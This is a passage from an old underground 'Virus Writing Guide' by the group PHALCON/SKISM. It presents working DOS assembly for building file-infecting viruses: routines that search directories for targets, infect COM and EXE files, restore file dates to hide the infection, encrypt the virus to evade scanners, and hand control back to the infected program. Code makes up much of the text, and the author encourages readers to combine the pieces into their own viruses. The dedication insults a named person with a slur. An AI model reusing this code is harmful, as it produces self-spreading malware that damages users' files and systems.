below, you cannot merely rip the code out and stick it together, as the
fragments are from various different virii that I have written. You must
be somewhat familiar with assembly. I present code fragments; it is up to
you to either use them as examples or modify them for your own virii.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
STEP 1 - FIND A FILE TO INFECT
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Before you can infect a file, you have to find it first! This can be a
bottleneck in the performance of the virus, so it should be done as
efficiently as possible. For runtime virii, there are a few possibilities.
You could infect files in only the current directory, or you could write a
directory traversal function to infect files in ALL directories (only a few
files per run, of course), or you could infect files in only a few select
directories. Why would you choose to only infect files in the current
directory? It would appear to limit the efficacy of the infections.
However, this is done in some virii either to speed up the virus or to
shorten the code size.
Here is a directory traversal function. It uses recursion, so it is rather
slow, but it does the job. This was excerpted with some modifications from
The Funky Bob Ross Virus [Beta].
traverse_fcn proc near
push bp ; Create stack frame
mov bp,sp
sub sp,44 ; Allocate space for DTA
call infect_directory ; Go to search & destroy routines
mov ah,1Ah ;Set DTA
lea dx,word ptr [bp-44] ; to space allotted
int 21h ;Do it now!
mov ah, 4Eh ;Find first
mov cx,16 ;Directory mask
lea dx,[si+offset dir_mask] ; *.*
int 21h
jmp short isdirok
gonow:
cmp byte ptr [bp-14], '.' ; Is first char == '.'?
je short donext ; If so, loop again
lea dx,word ptr [bp-14] ; else load dirname
mov ah,3Bh ; and changedir there
int 21h
jc short donext ; Do next if invalid
inc word ptr [si+offset nest] ; nest++
call near ptr traverse_fcn ; recurse directory
donext:
lea dx,word ptr [bp-44] ; Load space allocated for DTA
mov ah,1Ah ; and set DTA to this new area
int 21h ; 'cause it might have changed
mov ah,4Fh ;Find next
int 21h
isdirok:
jnc gonow ; If OK, jmp elsewhere
cmp word ptr [si+offset nest], 0 ; If root directory
; (nest == 0)
jle short cleanup ; then Quit
dec word ptr [si+offset nest] ; Else decrement nest
lea dx, [si+offset back_dir]; '..'
mov ah,3Bh ; Change directory
int 21h ; to previous one
cleanup:
mov sp,bp
pop bp
ret
traverse_fcn endp
; Variables
nest dw 0
back_dir db '..',0
dir_mask db '*.*',0
The code is self-explanatory. Make sure you have a function called
infect_directory which scans the directory for possible files to infect and
makes sure it doesn't infect already-infected files. This function, in
turn, calls infect_file which infects the file.
Note, as I said before, this is slow. A quicker method, albeit not as
global, is the "dot dot" method. Hellraiser showed me this neat little
trick. Basically, you keep searching each directory and, if you haven't
infected enough, go to the previous directory (dot dot) and try again, and
so on. The code is simple.
dir_loopy:
call infect_directory
lea dx, [bp+dotdot]
mov ah, 3bh ; CHDIR
int 21h
jnc dir_loopy ; Carry set if in root
; Variables
dotdot db '..',0
Now you must find a file to infect. This is done (in the fragments above)
by a function called infect_directory. This function calls FINDFIRST and
FINDNEXT a couple of times to find files to infect. You should first set
up a new DTA. NEVER use the DTA in the PSP (at 80h) because altering that
will affect the command-line parameters of the infected program when
control is returned to it. This is easily done with the following:
mov ah, 1Ah ; Set DTA
lea dx, [bp+offset DTA] ; to variable called DTA (wow!)
int 21h
Where DTA is a 42-byte chunk of memory. Next, issue a series of FINDFIRST
and FINDNEXT calls:
mov ah, 4Eh ; Find first file
mov cx, 0007h ; Any file attribute
lea dx, [bp+offset file_mask]; DS:[DX] --> filemask
int 21h
jc none_found
found_another:
call check_infection
mov ah, 4Fh ; Find next file
int 21h
jnc found_another
none_found:
Where file_mask is DBed to either '*.EXE',0 or '*.COM',0. Alternatively,
you could FINDFIRST for '*.*',0 and check if the extension is EXE or COM.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
STEP 2 - CHECK VERSUS INFECTION CRITERIA
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Your virus should be judicious in its infection. For example, you might
not want to infect COMMAND.COM, since some programs (i.e. the puny
FluShot+) check its CRC or checksum on runtime. Perhaps you do not wish to
infect the first valid file in the directory. Ambulance Car is an example
of such a virus. Regardless, if there is some infection criteria, you
should check for it now. Here's example code checking if the last two
letters are 'ND', a simple check for COMMAND.COM:
cmp word ptr [bp+offset DTA+35], 'DN' ; Reverse word order
jz fail_check
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
STEP 3 - CHECK FOR PREVIOUS INFECTION
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Every virus has certain characteristics with which you can identify whether
a file is infected already. For example, a certain piece of code may
always occur in a predictable place. Or perhaps the JMP instruction is
always coded in the same manner. Regardless, you should make sure your
virus has a marker so that multiple infections of the same file do not
occur. Here's an example of one such check (for a COM file infector):
mov ah,3Fh ; Read first three
mov cx, 3 ; bytes of the file
lea dx, [bp+offset buffer] ; to the buffer
int 21h
mov ax, 4202h ; SEEK from EOF
xor cx, cx ; DX:CX = offset
xor dx, dx ; Returns filesize
int 21h ; in DX:AX
sub ax, virus_size + 3
cmp word ptr [bp+offset buffer+1], ax
jnz infect_it
bomb_out:
mov ah, 3Eh ; else close the file
int 21h ; and go find another
In this example, BX is assumed to hold a file handle to the program to be
checked for infection and virus_size equals the size of the virus. Buffer
is assumed to be a three-byte area of empty space. This code fragment
reads the first three bytes into buffer and then compares the JMP location
(located in the word beginning at buffer+1) to the filesize If the JMP
points to virus_size bytes before the EOF, then the file is already
infected with this virus. Another method would be to search at a certain
location in the file for a marker byte or word. For example:
mov ah, 3Fh ; Read the first four
mov cx, 4 ; bytes of the file into
lea dx, [bp+offset buffer] ; the buffer.
int 21h
cmp byte ptr [buffer+3], infection_id_byte ; Check the fourth
jz bomb_out ; byte for the marker
infect_it:
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
STEP 4 - INFECT THE FILE
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This is the "guts" of the virus, the heart of the replicator. Once you
have located a potential file, you must save the attributes, time, date,
and size for later use. The following is a breakdown of the DTA:
Offset Size What it is
0h 21 BYTES Reserved, varies as per DOS version
15h BYTE File attribute
16h WORD File time
18h WORD File date
1Ah DWORD File size
1Eh 13 BYTES ASCIIZ filename + extension
As you can see, the DTA holds all the vital information about the file that
you need. The following code fragment is a sample of how to save the info:
lea si, [bp+offset DTA+15h] ; Start from attributes
mov cx, 9 ; Finish with size
lea di, [bp+offset f_attr] ; Move into your locations
rep movsb
; Variables needed
f_attr db ?
f_time dw ?
f_date dw ?
f_size dd ?
You can now change the file attributes to nothing through INT 21h/Function
43h/Subfunction 01h. This is to allow infection of system, hidden, and
read only files. Only primitive (or minimal) virii cannot handle such
files.
lea dx, [bp+offset DTA+1eh] ; DX points to filename in
mov ax, 4301h ; DTA
xor cx, cx ; Clear file attributes
int 21h ; Issue the call
Once the attributes have been annihilated, you may open the file with
callous impunity. Use a handle open in read/write mode.
lea dx, [bp+offset DTA+1eh] ; Use filename in DTA
mov ax, 3d02h ; Open read/write mode
int 21h ; duh.
xchg ax, bx ; Handle is more useful in
; BX
Now we come to the part you've all been waiting for: the infection routine.
I am pleased to present code which will handle the infection of COM files.
Yawn, you say, I can already do that with the information presented in the
previous installment. Ah, but there is more, much more. A sample EXE
infector shall also be presented shortly.
The theory behind COM file infection was covered in the last installment,
so I shall not delve into the details again. Here is a sample infector:
; Sample COM infector. Assumes BX holds the file handle
; Assume COM file passes infection criteria and not already infected
mov ah, 3fh
lea dx, [bp+buffer1]
mov cx, 3
int 21h
mov ax, 4200h ; Move file pointer to
xor cx, cx ; the beginning of the
xor dx, dx ; file
int 21h
mov byte ptr [bp+buffer2], 0e9h ; JMP
mov ax, word ptr [bp+f_size]
sub ax, part1_size ; Usually 3
mov word ptr [bp+buffer2+1], ax ; offset of JMP
; Encode JMP instruction to replace beginning of the file
mov byte ptr [bp+buffer2], 0e9h ; JMP
mov ax, word ptr [bp+f_size]
sub ax, part1_size ; Usually 3
mov word ptr [bp+buffer2+1], ax ; offset of JMP
; Write the JMP instruction to the beginning of the file
mov ah, 40h ; Write CX bytes to
mov cx, 3 ; handle in BX from
lea dx, [bp+buffer2] ; buffer -> DS:[DX]
int 21h
mov ax, 4202h ; Move file pointer to
xor cx, cx ; end of file
xor dx, dx
int 21h
mov ah, 40h ; Write CX bytes
mov cx, endofvirus - startofpart2 ; Effective size of virus
lea dx, [bp+startofpart2] ; Begin write at start
int 21h
; Variables
buffer1 db 3 dup (?) ; Saved bytes from the
; infected file to restore
; later
buffer2 db 3 dup (?) ; Temp buffer
After some examination, this code will prove to be easy to understand. It
starts by reading the first three bytes into a buffer. Note that you could
have done this in an earlier step, such as when you are checking for a
previous infection. If you have already done this, you obviously don't
need to do it again. This buffer must be stored in the virus so it can be
restored later when the code is executed.
EXE infections are also simple, although a bit harder to understand.
First, the thoery. Here is the format of the EXE header:
Ofs Name Size Comments
00 Signature 2 bytes always 4Dh 5Ah (MZ)
*02 Last Page Size 1 word number of bytes in last page
*04 File Pages 1 word number of 512 byte pages
06 Reloc Items 1 word number of entries in table
08 Header Paras 1 word size of header in 16 byte paras
0A MinAlloc 1 word minimum memory required in paras
0C MaxAlloc 1 word maximum memory wanted in paras
*0E PreReloc SS 1 word offset in paras to stack segment
*10 Initial SP 1 word starting SP value
12 Negative checksum 1 word currently ignored
*14 Pre Reloc IP 1 word execution start address
*16 Pre Reloc CS 1 word preadjusted start segment
18 Reloc table offset 1 word is offset from start of file)
1A Overlay number 1 word ignored if not overlay
1C Reserved/unused 2 words
* denotes bytes which should be changed by the virus
To understand this, you must first realise that EXE files are structured
into segments. These segments may begin and end anywhere. All you have to
do to infect an EXE file is tack on your code to the end. It will then be
in its own segment. Now all you have to do is make the virus code execute
before the program code. Unlike COM infections, no program code is
overwritten, although the header is modified. Note the virus can still
have the V1/V2 structure, but only V2 needs to be concatenated to the end
of the infected EXE file.
Offset 4 (File Pages) holds the size of the file divided by 512, rounded
up. Offset 2 holds the size of the file modulo 512. Offset 0Eh holds the
paragraph displacement (relative to the end of the header) of the initial
stack segment and Offset 10h holds the displacement (relative to the start
of the stack segment) of the initial stack pointer. Offset 16h holds the
paragraph displacement of the entry point relative to the end of the header
and offset 14h holds the displacement entry point relative to the start of
the entry segment. Offset 14h and 16h are the key to adding the startup
code (the virus) to the file.
Before you infect the file, you should save the CS:IP and SS:SP found in
the EXE header, as you need to restore them upon execution. Note that
SS:SP is NOT stored in Intel reverse-double-word format. If you don't know
what I'm talking about, don't worry; it's only for very picky people. You
should also save the file length as you will need to use that value several
times during the infection routine. Now it's time to calculate some
offsets! To find the new CS:IP and SS:SP, use the following code. It
assumes the file size is loaded in DX:AX.
mov bx, word ptr [bp+ExeHead+8] ; Header size in paragraphs
; ^---make sure you don't destroy the file handle
mov cl, 4 ; Multiply by 16. Won't
shl bx, cl ; work with headers > 4096
; bytes. Oh well!
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
; Now DX:AX is loaded with file size minus header size
mov cx, 10h ; DX:AX/CX = AX Remainder DX
div cx
This code is rather inefficient. It would probably be easier to divide by
16 first and then perform a straight subtraction from AX, but this happens
to be the code I chose. Such is life. However, this code does have some
advantages over the more efficient one. With this, you are certain that
the IP (in DX) will be under 15. This allows the stack to be in the same
segment as the entry point, as long as the stack pointer is a large number.
Now AX*16+DX points to the end of code. If the virus begins immediately
after the end of the code, AX and DX can be used as the initial CS and IP,
respectively. However, if the virus has some junk (code or data) before
the entry point, add the entry point displacement to DX (no ADC with AX is
necessary since DX will always be small).
mov word ptr [bp+ExeHead+14h], dx ; IP Offset
mov word ptr [bp+ExeHead+16h], ax ; CS Displacement in module
The SP and SS can now be calculated. The SS is equal to the CS. The
actual value of the SP is irrelevant, as long as it is large enough so the
stack will not overwrite code (remember: the stack grows downwards). As a
general rule, make sure the SP is at least 100 bytes larger than the virus
size. This should be sufficient to avoid problems.
mov word ptr [bp+ExeHead+0Eh], ax ; Paragraph disp. SS
mov word ptr [bp+ExeHead+10h], 0A000h ; Starting SP
All that is left to fiddle in the header is the file size. Restore the
original file size from wherever you saved it to DX:AX. To calculate
DX:AX/512 and DX:AX MOD 512, use the following code:
mov cl, 9 ; Use shifts again for
ror dx, cl ; division
push ax ; Need to use AX again
shr ax, cl
adc dx, ax ; pages in dx
pop ax
and ah, 1 ; mod 512 in ax
mov word ptr [bp+ExeHead+4], dx ; Fix-up the file size in
mov word ptr [bp+ExeHead+2], ax ; the EXE header.
All that is left is writing back the EXE header and concatenating the virus
to the end of the file. You want code? You get code.
mov ah, 3fh ; BX holds handle
mov cx, 18h ; Don't need entire header
lea dx, [bp+ExeHead]
int 21h
call infectexe
mov ax, 4200h ; Rewind to beginning of
xor cx, cx ; file
xor dx, dx
int 21h
mov ah, 40h ; Write header back
mov cx, 18h
lea dx, [bp+ExeHead]
int 21h
mov ax, 4202h ; Go to end of file
xor cx, cx
xor dx, dx
int 21h
mov ah, 40h ; Note: Only need to write
mov cx, part2size ; part 2 of the virus
lea dx, [bp+offset part2start] ; (Parts of virus
int 21h ; defined in first
; installment of
; the guide)
Note that this code alone is not sufficient to write a COM or EXE infector.
Code is also needed to transfer control back to the parent program. The
information needed to do this shall be presented in the next installment.
In the meantime, you can try to figure it out on your own; just remember
that you must restore all that you changed.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
STEP 5 - COVER YOUR TRACKS
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This step, though simple to do, is too easily neglected. It is extremely
important, as a wary user will be alerted to the presence of a virus by any
unnecessary updates to a file. In its simplest form, it involves the
restoration of file attributes, time and date. This is done with the
following:
mov ax, 5701h ; Set file time/date
mov dx, word ptr [bp+f_date] ; DX = date
mov cx, word ptr [bp+f_time] ; CX = time
int 21h
mov ah, 3eh ; Handle close file
int 21h
mov ax, 4301h ; Set attributes
lea dx, [bp+offset DTA + 1Eh] ; Filename still in DTA
xor ch, ch
mov cl, byte ptr [bp+f_attrib] ; Attribute in CX
int 21h
Remember also to restore the directory back to the original one if it
changed during the run of the virus.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
WHAT'S TO COME
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
I have been pleased with the tremendous response to the last installment of
the guide. Next time, I shall cover the rest of the virus as well as
various tips and common tricks helpful in writing virii. Until then, make
sure you look for 40Hex, the official PHALCON/SKISM magazine, where we
share tips and information pertinent to the virus community.
Downloaded From P-80 International Information Systems 304-744-2253

444
textfiles.com/virus/ps_vir3.vir Normal file
View File

@@ -0,0 +1,444 @@
//==// // // /|| // //==== //==// //| //
// // // // //|| // // // // //|| //
//==// //==// //=|| // // // // // || //
// // // // || // // // // // ||//
// // // // || //==== //==== //==// // ||/
/==== // // // /==== /| /|
// // // // // //| //|
===\ // // // ===\ //|| //||
// // \\ // // // ||// ||
====/ // \\ // ====/ // ||/ ||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DISCLAIMER: I hereby claim to have written this
file.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DEDICATION: This is dedicated to Patty Hoffman,
that fat bitch who doesn't know her own name,
and to the millions of dumb fools who were so
scared by Michelangelo that they didn't touch
their computers for an entire day.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
GREETS: to all PHALCON/SKISM members especially
Garbageheap, Hellraiser, and Demogorgon.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Dark Angel's Crunchy Virus Writing Guide
<20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
"It's the right thing to do"
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
INSTALLMENT III: NONRESIDENT VIRII, PART II
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Welcome to the third installment of my Virus Writing Guide. In the
previous installment, I covered the primary part of the virus - the
replicator. As promised, I shall now cover the rest of the nonresident
virus and present code which, when combined with code from the previous
installment, will be sufficient to allow anyone to write a simple virus.
Additionally, I will present a few easy tricks and tips which can help
optimise your code.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
THE CONCEALER
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
The concealer is the most common defense virus writers use to avoid
detection of virii. The most common encryption/decryption routine by far
is the XOR, since it may be used for both encryption and decryption.
encrypt_val dw ? ; Should be somewhere in decrypted area
decrypt:
encrypt:
mov dx, word ptr [bp+encrypt_val]
mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2
lea si, [bp+part_to_encrypt_start]
mov di, si
xor_loop:
lodsw
xor ax, dx
stosw
loop xor_loop
The previous routine uses a simple XOR routine to encrypt or decrypt code
in memory. This is essentially the same routine as the one in the first
installment, except it encrypts words rather than bytes. It therefore has
65,535 mutations as opposed to 255 and is also twice as fast. While this
routine is simple to understand, it leaves much to be desired as it is
large and therefore is almost begging to be a scan string. A better method
follows:
encrypt_val dw ?
decrypt:
encrypt:
mov dx, word ptr [bp+encrypt_val]
lea bx, [bp+part_to_encrypt_start]
mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2
xor_loop:
xor word ptr [bx], dx
add bx, 2
loop xor_loop
Although this code is much shorter, it is possible to further reduce its
size. The best method is to insert the values for the encryption value,
BX, and CX, in at infection-time.
decrypt:
encrypt:
mov bx, 0FFFFh
mov cx, 0FFFFh
xor_loop:
xor word ptr [bx], 0FFFFh
add bx, 2
loop xor_loop
All the values denoted by 0FFFFh may be changed upon infection to values
appropriate for the infected file. For example, BX should be loaded with
the offset of part_to_encrypt_start relative to the start of the infected
file when the encryption routine is written to the infected file.
The primary advantage of the code used above is the minimisation of scan
code length. The scan code can only consist of those portions of the code
which remain constant. In this case, there are only three or four
consecutive bytes which remain constant. Since the entire encryption
consist of only about a dozen bytes, the size of the scan code is extremely
tiny.
Although the function of the encryption routine is clear, perhaps the
initial encryption value and calculation of subsequent values is not as
lucid. The initial value for most XOR encryptions should be 0. You should
change the encryption value during the infection process. A random
encryption value is desired. The simplest method of obtaining a random
number is to consult to internal clock. A random number may be easily
obtained with a simple:
mov ah, 2Ch ; Get me a random number.
int 21h
mov word ptr [bp+encrypt_val], dx ; Can also use CX
Some encryption functions do not facilitate an initial value of 0. For an
example, take a look at Whale. It uses the value of the previous word as
an encryption value. In these cases, simply use a JMP to skip past the
decryption routine when coding the virus. However, make sure infections
JMP to the right location! For example, this is how you would code such a
virus:
org 100h
start:
jmp past_encryption
; Insert your encryption routine here
past_encryption:
The encryption routine is the ONLY part of the virus which needs to be
unencrypted. Through code-moving techniques, it is possible to copy the
infection mechanism to the heap (memory location past the end of the file
and before the stack). All that is required is a few MOVSW instructions
and one JMP. First the encryption routine must be copied, then the
writing, then the decryption, then the RETurn back to the program. For
example:
lea si, [bp+encryption_routine]
lea di, [bp+heap]
mov cx, encryption_routine_size
push si
push cx
rep movsb
lea si, [bp+writing_routine]
mov cx, writing_routine_size
rep movsb
pop cx
pop si
rep movsb
mov al, 0C3h ; Tack on a near return
stosb
call [bp+heap]
Although most virii, for simplicity's sake, use the same routine for both
encryption and decryption, the above code shows this is completely
unnecessary. The only modification of the above code for inclusion of a
separate decryption routine is to take out the PUSHes and replace the POPs
with the appropriate LEA si and MOV cx.
Original encryption routines, while interesting, might not be the best.
Stolen encryption routines are the best, especially those stolen from
encrypted shareware programs! Sydex is notorious for using encryption in
their shareware programs. Take a look at a shareware program's puny
encryption and feel free to copy it into your own. Hopefully, the anti-
viral developers will create a scan string which will detect infection by
your virus in shareware products simply because the encryption is the same.
Note that this is not a full treatment of concealment routines. A full
text file could be written on encryption/decryption techniques alone. This
is only the simplest of all possible encryption techniques and there are
far more concealment techniques available. However, for the beginner, it
should suffice.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
THE DISPATCHER
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
The dispatcher is the portion of the virus which restores control back to
the infected program. The dispatchers for EXE and COM files are,
naturally, different.
In COM files, you must restore the bytes which were overwritten by your
virus and then transfer control back to CS:100h, which is where all COM
files are initially loaded.
RestoreCOM:
mov di, 100h ; We are copying to the beginning
lea si, [bp+savebuffer] ; We are copying from our buffer
push di ; Save offset for return (100h)
movsw ; Mo efficient than mov cx, 3, movsb
movsb ; Alter to meet your needs
retn ; A JMP will also work
EXE files require simply the restoration of the stack segment/pointer and
the code segment/instruction pointer.
ExeReturn:
mov ax, es ; Start at PSP segment
add ax, 10h ; Skip the PSP
add word ptr cs:[bp+ExeWhereToJump+2], ax
cli
add ax, word ptr cs:[bp+StackSave+2] ; Restore the stack
mov ss, ax
mov sp, word ptr cs:[bp+StackSave]
sti
db 0eah ; JMP FAR PTR SEG:OFF
ExeWhereToJump:
dd 0
StackSave:
dd 0
ExeWhereToJump2 dd 0
StackSave2 dd 0
Upon infection, the initial CS:IP and SS:SP should be stored in
ExeWhereToJump2 and StackSave2, respectively. They should then be moved to
ExeWhereToJump and StackSave before restoration of the program. This
restoration may be easily accomplished with a series of MOVSW instructions.
Some like to clear all the registers prior to the JMP/RET, i.e. they issue
a bunch of XOR instructions. If you feel happy and wish to waste code
space, you are welcome to do this, but it is unnecessary in most instances.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
THE BOMB
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
"The horror! The horror!"
- Joseph Conrad, The Heart of Darkness
What goes through the mind of a lowly computer user when a virus activates?
What terrors does the unsuspecting victim undergo as the computer suddenly
plays a Nazi tune? How awful it must be to lose thousands of man-hours of
work in an instant!
Actually, I do not support wanton destruction of data and disks by virii.
It serves no purpose and usually shows little imagination. For example,
the world-famous Michelangelo virus did nothing more than overwrite sectors
of the drive with data taken at random from memory. How original. Yawn.
Of course, if you are hell-bent on destruction, go ahead and destroy all
you want, but just remember that this portion of the virus is usually the
only part seen by "end-users" and distinguishes it from others. The best
examples to date include: Ambulance Car, Cascade, Ping Pong, and Zero Hunt.
Don't forget the PHALCON/SKISM line, especially those by me (I had to throw
in a plug for the group)!
As you can see, there's no code to speak of in this section. Since all
bombs should be original, there isn't much point of putting in the code for
